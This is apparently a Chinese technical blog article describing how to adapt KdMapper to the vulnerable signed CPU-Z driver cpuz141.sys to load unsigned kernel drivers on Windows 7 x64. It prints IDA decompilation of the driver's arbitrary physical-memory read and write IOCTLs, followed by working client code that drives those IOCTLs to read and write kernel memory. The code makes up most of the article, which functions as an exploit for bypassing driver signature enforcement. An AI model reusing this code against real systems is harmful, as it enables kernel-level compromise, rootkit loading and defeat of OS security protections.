1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动，本文是利用其它漏洞（参考《【转载】利用签名驱动漏洞加载未签名驱动》）做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

3.IDA分析

3.1 入口函数：

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        int v3; // ebx
        const WCHAR* v4; // rdx
        int* v5; // rax
        ULONG MajorVersion; // [rsp+40h] [rbp-C8h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-C0h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-B8h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-A8h] BYREF
        __int64 SourceString[4]; // [rsp+70h] [rbp-98h] BYREF
        __int64 v12[5]; // [rsp+90h] [rbp-78h] BYREF
        _QWORD szSymbolName[6]; // [rsp+B8h] [rbp-50h] BYREF
        int v14; // [rsp+E8h] [rbp-20h]
        __int16 v15; // [rsp+ECh] [rbp-1Ch]

        SourceString[0] = 0x7600650044005Ci64;
        DeviceObject = 0i64;
        SourceString[1] = 0x5C006500630069i64;
        SourceString[2] = 0x7A007500700063i64;
        SourceString[3] = 0x3100340031i64;
        v12[0] = 0x73006F0044005Ci64;
        v12[1] = 0x69007600650044i64;
        v12[2] = 0x5C007300650063i64;
        v12[3] = 0x5A005500500043i64;
        v12[4] = 0x3100340031i64;
        szSymbolName[0] = 0x73006F0044005Ci64;
        szSymbolName[1] = 0x69007600650044i64;
        szSymbolName[2] = 0x5C007300650063i64;
        szSymbolName[3] = 0x62006F006C0047i64;
        szSymbolName[4] = 0x43005C006C0061i64;
        szSymbolName[5] = 0x31005A00550050i64;
        v14 = 3211316;
        v15 = 0;
        RtlInitUnicodeString(&DestinationString, (PCWSTR)SourceString);// SourceString \Device\cpuz141
        v3 = IoCreateDevice(DriverObject, 4u, &DestinationString, 0x9C40u, 0, 1u, &DeviceObject);
        if (v3 >= 0)
        {
                PsGetVersion(&MajorVersion, 0i64, 0i64, 0i64);
                v4 = (const WCHAR*)szSymbolName;
                if (MajorVersion < 5)
                        v4 = (const WCHAR*)v12;
                RtlInitUnicodeString(&SymbolicLinkName, v4);
                v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);// \DosDevices\CPUZ141
                if (v3 >= 0)
                {
                        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_115B0;
                        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_115B0;
                        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_115B0;
                        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_14410;
                        v5 = dword_16144;
                        do
                        {
                                *(v5 - 1) = 0;
                                *v5 = 0;
                                *(_QWORD*)(v5 + 1) = 0i64;
                                v5[3] = 0;
                                v5 += 6;
                        } while ((__int64)v5 < (__int64)&unk_16444);
                }
                else if (DeviceObject)
                {
                        IoDeleteDevice(DeviceObject);
                }
        }
        return v3;
}

3.2 MainDispatch

主要的IRP处理函数为 sub_115B0，其代码如下：

__int64 __fastcall sub_115B0(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rdx
        READ_WRITE_PHYSICAL_MEMORY_INFO* pPhysicalMemoryInfo; // r13
        unsigned int nIoControlCode; // eax
        SIZE_T nMapSize; // rdi
        unsigned __int64 pVirtualAddressV12; // rbx
        DWORD dwWriteData; // edi
        ......

        pIrp->IoStatus.Status = 0;
        pIrp->IoStatus.Information = 0i64;
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pPhysicalMemoryInfo = (READ_WRITE_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        if (pIosp->MajorFunction != 14)
                goto LABEL_471;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (nIoControlCode > 0x9C402500)
        {
                ......
        }
        if (nIoControlCode == 0x9C402500)
        {
                ......
        }
        else
        {
                switch (nIoControlCode)
                {
                ......
                case 0x9C402420:
                        if (pIosp->Parameters.DeviceIoControl.OutputBufferLength < 8
                                || pIosp->Parameters.DeviceIoControl.InputBufferLength < 0x14)
                        {
                                pIrp->IoStatus.Information = 0i64;
                                pIrp->IoStatus.Status = 0xC0000023;
                        }
                        else                                    // 读取任意物理地址
                        {
                                PhysicalAddress.HighPart = pPhysicalMemoryInfo->PhysicalAddressHigh;
                                PhysicalAddress.LowPart = pPhysicalMemoryInfo->PhysicalAddressLow;
                                nMapSize = pPhysicalMemoryInfo->Size;
                                pVirtualAddressV12 = pPhysicalMemoryInfo->VirtualAddressLow
                                        + ((unsigned __int64)pPhysicalMemoryInfo->VirtualAddressHigh << 32);
                                v314 = pVirtualAddressV12;
                                v13 = IsCheckedPhysicalAddress(PhysicalAddress, nMapSize);
                                if (v13)
                                {
                                        v14 = PhysicalAddress.QuadPart - *(_QWORD*)v13 + *((_QWORD*)v13 + 1);
                                        v15 = 0;
                                        v221 = 0;
                                        while (v15 < (unsigned int)nMapSize)
                                        {
                                                *(_BYTE*)(v15 + pVirtualAddressV12) = *(_BYTE*)(v15 + v14);
                                                v221 = ++v15;
                                        }
                                        pPhysicalMemoryInfo->PhysicalAddressHigh = 0x11111111;
                                }
                                else
                                {
                                        pMappedAddressv16 = MmMapIoSpace(PhysicalAddress, nMapSize, MmNonCached);
                                        nIndexV17 = 0;
                                        v221 = 0;
                                        while (nIndexV17 < (unsigned int)nMapSize)
                                        {
                                                *(_BYTE*)(nIndexV17 + pVirtualAddressV12) = pMappedAddressv16[nIndexV17];
                                                v221 = ++nIndexV17;
                                        }
                                        MmUnmapIoSpace(pMappedAddressv16, nMapSize);
                                        pPhysicalMemoryInfo->PhysicalAddressHigh = 0x22222222;
                                }
                                pPhysicalMemoryInfo->PhysicalAddressLow = pVirtualAddressV12;
                                pIrp->IoStatus.Information = 8i64;
                                pIrp->IoStatus.Status = 0;
                        }
                        break;
                ......
                case 0x9C402430:
                        if (pIosp->Parameters.DeviceIoControl.OutputBufferLength < 8
                                || pIosp->Parameters.DeviceIoControl.InputBufferLength < 0xC)
                        {
                                pIrp->IoStatus.Information = 0i64;
                                pIrp->IoStatus.Status = 0xC0000023;
                        }
                        else                                    // 往任意物理地址写入四字节数据
                        {
                                PhysicalAddressV284.HighPart = pPhysicalMemoryInfo->PhysicalAddressHigh;
                                PhysicalAddressV284.LowPart = pPhysicalMemoryInfo->PhysicalAddressLow;
                                dwWriteData = pPhysicalMemoryInfo->Data;
                                v19 = IsCheckedPhysicalAddress(PhysicalAddressV284, 4u);
                                if (v19)
                                {
                                        *(_DWORD*)(PhysicalAddressV284.QuadPart - *(_QWORD*)v19 + *((_QWORD*)v19 + 1)) = dwWriteData;
                                        pPhysicalMemoryInfo->PhysicalAddressHigh = 0x11111111;
                                }
                                else
                                {
                                        pMappedAddressV20 = MmMapIoSpace(PhysicalAddressV284, 4ui64, MmNonCached);
                                        *pMappedAddressV20 = dwWriteData;
                                        MmUnmapIoSpace(pMappedAddressV20, 4ui64);
                                        pPhysicalMemoryInfo->PhysicalAddressHigh = 0x22222222;
                                }
                                pPhysicalMemoryInfo->PhysicalAddressLow = dwWriteData;
                                pIrp->IoStatus.Information = 8i64;
                                pIrp->IoStatus.Status = 0;
                        }
                        break;
                default:
                        goto LABEL_470;
                }
        }
LABEL_471:
        v214 = pIrp->IoStatus.Status;
        IofCompleteRequest(pIrp, 0);
        return v214;
}

int *__fastcall IsCheckedPhysicalAddress(PHYSICAL_ADDRESS PhysicalAddress, unsigned int nMapSize)
{
  int nIndex; // er11
  int *v3; // r8
  PHYSICAL_ADDRESS v4; // r9
  PHYSICAL_ADDRESS v5; // r10

  nIndex = 0;
  v3 = dword_16150;
  while ( 1 )
  {
    v4 = *(PHYSICAL_ADDRESS *)(v3 - 4);
    if ( PhysicalAddress.QuadPart >= (unsigned __int64)v4.QuadPart )
    {
      v5.QuadPart = v4.QuadPart + (unsigned int)*v3;
      if ( PhysicalAddress.QuadPart < (unsigned __int64)v5.QuadPart
        && PhysicalAddress.QuadPart + (unsigned __int64)nMapSize >= v4.QuadPart
        && PhysicalAddress.QuadPart + (unsigned __int64)nMapSize <= v5.QuadPart )
      {
        break;
      }
    }
    v3 += 6;
    ++nIndex;
    if ( (__int64)v3 >= (__int64)&unk_16450 )
      return 0i64;
  }
  return &dword_16140[6 * nIndex];
}

• 读物理内存 0x9C402420

  从READ_WRITE_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress复制数据到READ_WRITE_PHYSICAL_MEMORY_INFO的内容地址VirtualAddress。

• 写物理内存 0x9C402430

  从READ_WRITE_PHYSICAL_MEMORY_INFO的内容地址VirtualAddress复制数据到READ_WRITE_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress。

3.3 READ_WRITE_PHYSICAL_MEMORY_INFO结构

00000000 READ_WRITE_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x14, copyof_381)
00000000 PhysicalAddressHigh dd ?
00000004 PhysicalAddressLow dd ?
00000008 anonymous_0     READ_WRITE_PHYSICAL_MEMORY_INFO::$B5968B880617395D45D6F54DB9E0F34E ?
0000000C VirtualAddressHigh dd ?
00000010 VirtualAddressLow dd ?
00000014 READ_WRITE_PHYSICAL_MEMORY_INFO ends
00000014
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 READ_WRITE_PHYSICAL_MEMORY_INFO::$B5968B880617395D45D6F54DB9E0F34E union ; (sizeof=0x4, copyof_380)
00000000                                         ; XREF: READ_WRITE_PHYSICAL_MEMORY_INFO/r
00000000 Size            dd ?
00000000 Data            dd ?
00000000 READ_WRITE_PHYSICAL_MEMORY_INFO::$B5968B880617395D45D6F54DB9E0F34E ends

3.4 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存，在代码过程中会遇到物理页面和虚拟页面不一一对应的问题，问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_CPUZ141_PHYSICAL_MEMORY_INFO {
                DWORD dwPhysicalAddressHigh;
		DWORD dwPhysicalAddressLow;
		union
		{
			DWORD dwSize;
			DWORD dwData; //写时的数据位，每次只能写四个字节
		};
                DWORD dwVirtualAddressHigh;
                DWORD dwVirtualAddressLow;
        } CPUZ141_PHYSICAL_MEMORY_INFO, *PCPUZ141_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define CPUZ141_DEVICE_TYPE          (DWORD)0x9C40
#define CPUZ141_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x908
#define CPUZ141_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90C

#define IOCTL_CPUZ141_READ_PHYSICAL_MEMORY      \
    CTL_CODE(CPUZ141_DEVICE_TYPE, CPUZ141_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402420

#define IOCTL_CPUZ141_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(CPUZ141_DEVICE_TYPE, CPUZ141_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402430

4.2 .c文件

NTSTATUS cpuid_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL cpuid_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}


BOOL WINAPI cpuid_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;


        CPUZ141_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        __try {

                if (DoWrite) {
                        //写物理内存每次只能写四个字节 
                        DWORD dwLoopCount = NumberOfBytes / sizeof(ULONG);
                        DWORD dwRemainingSize = NumberOfBytes % sizeof(ULONG);
                        LARGE_INTEGER liPhysicalAddressToWrite = {0};
                        
                        DWORD dwIndex = 0;
                        for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
                        {
                                DWORD dwData = *((DWORD*)((PUCHAR)Buffer + dwIndex * sizeof(ULONG)));
                                liPhysicalAddressToWrite.QuadPart = PhysicalAddress + dwIndex * sizeof(ULONG);
                                request.dwPhysicalAddressHigh = liPhysicalAddressToWrite.HighPart;
                                request.dwPhysicalAddressLow = liPhysicalAddressToWrite.LowPart;
                                request.dwData = dwData;
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_CPUZ141_WRITE_PHYSICAL_MEMORY,
                                        &request,
                                        sizeof(request),
                                        &request,
                                        sizeof(request));
                                if (!bResult)
                                {
                                        Log(L"[!] Error WritePhysicalMemory 1!" << std::endl);
                                        break;
                                }
                        }
                        if ((dwLoopCount == 0) ||(bResult))
                        {
                                if (dwRemainingSize != 0)
                                {
                                        DWORD dwData = 0;
                                        PVOID pDataPointer = &dwData;
                                        liPhysicalAddressToWrite.QuadPart = PhysicalAddress + dwIndex * sizeof(ULONG);
                                        request.dwPhysicalAddressHigh = liPhysicalAddressToWrite.HighPart;
                                        request.dwPhysicalAddressLow = liPhysicalAddressToWrite.LowPart;
                                        request.dwSize = sizeof(ULONG);
                                        request.dwVirtualAddressHigh = HIDWORD(pDataPointer);
                                        request.dwVirtualAddressLow = LODWORD(pDataPointer);
                                        bResult = SuperCallDriver(DeviceHandle,
                                                IOCTL_CPUZ141_READ_PHYSICAL_MEMORY,
                                                &request,
                                                sizeof(request),
                                                &request,
                                                sizeof(request));
                                        if (bResult)
                                        {
                                                RtlCopyMemory(&dwData, (PUCHAR)Buffer + dwIndex * sizeof(ULONG), dwRemainingSize);

                                                request.dwPhysicalAddressHigh = liPhysicalAddressToWrite.HighPart;
                                                request.dwPhysicalAddressLow = liPhysicalAddressToWrite.LowPart;
                                                request.dwData = dwData;
                                                bResult = SuperCallDriver(DeviceHandle,
                                                        IOCTL_CPUZ141_WRITE_PHYSICAL_MEMORY,
                                                        &request,
                                                        sizeof(request),
                                                        &request,
                                                        sizeof(request));
                                                if (!bResult)
                                                {
                                                        Log(L"[!] Error WritePhysicalMemory 2!" << std::endl);
                                                }
                                        }
                                        else
                                        {
                                                Log(L"[!] Error Read Physical Memory in WritePhysicalMemory!" << std::endl);
                                        }

                                       
                                }
                               
                        }

                }
                else {
                        request.dwPhysicalAddressHigh = HIDWORD(PhysicalAddress);
                        request.dwPhysicalAddressLow = LODWORD(PhysicalAddress);
                        request.dwSize = NumberOfBytes;
                        request.dwVirtualAddressHigh = HIDWORD(Buffer);
                        request.dwVirtualAddressLow = LODWORD(Buffer);
                        bResult = SuperCallDriver(DeviceHandle,
                                IOCTL_CPUZ141_READ_PHYSICAL_MEMORY,
                                &request,
                                sizeof(request),
                                &request,
                                sizeof(request));
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }


        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI cpuid_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI cpuid_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI cpuid_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI cpuid_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行，详见《KdMapper扩展实现之虚拟地址转物理地址 》。

5. 运行效果

  Windows 7 x64 环境上运行的效果如下，其中驱动 HelloWorld.sys为未签名的驱动，其详细说明见文章《KdMapper被加载驱动的实现》。

6.特别提示

  使用cpuz141.sys制作的KdMapper只能在Win 7 x64环境上运行，Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

本栏目推荐文章
• datetime、sys、logging模块
• Python模块之sys模块
• 【python常用模块之sys模块】---系统模块（sys）
• ABC141F
• proc_sys_reset 复位时序
• 141.环形链表
• 力扣141-环形链表
• Mysql：让 mysqld 服务器可以执行操作系统命令(2，安全加固版——特殊调用版)：lib_mysqludf_sys
• [ARC141C] Bracket and Permutation
• [20231121]oracle SYS_GUID的组成.txt

KdMapper CPUID cpuz 141 syskdmapper cpuid cpuz 141 kdmapper asmmap asus sys kdmapper glckio asus sys kdmapper gmer sys 64 kdmapper phymemx huawei sys kdmapper aswarpot avg sys kdmapper eneio asus sys kdmapper micsys msio sys kdmapper realix hwinfo sys kdmapper atszio asus sys